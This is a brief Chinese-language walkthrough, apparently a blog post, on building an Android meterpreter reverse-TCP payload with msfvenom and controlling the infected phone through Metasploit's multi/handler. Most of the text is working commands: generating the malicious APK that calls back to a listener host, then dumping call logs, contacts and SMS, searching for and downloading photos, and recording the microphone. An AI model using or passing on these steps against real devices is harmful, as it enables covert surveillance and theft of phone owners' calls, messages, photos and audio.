0x01

环境：Kali Rolling版

两台安卓手机，其中还一台已root

0x01

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.102 LPORT=5566 R > /root/Desktop/test.apk

移植到手机上并安装

0x02

 加载模块

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp

PAYLOAD => android/meterpreter/reverse_tcp

msf exploit(handler) > show options

0x03

exploit

0x04

查看安装设备的信息，检查是否root

0x05

查看进程

0x06

查看通话记录，联系人列表，短信记录，并发送短信

meterpreter > dump_calllog

meterpreter > dump_contacts

meterpreter > dump_sms

0x07

下载文件，这里以图片为例

meterpreter > search  -f *.jpg

Found 1051 results...

0x08

录音与摄像头

meterpreter > record_mic -d 10

摄像头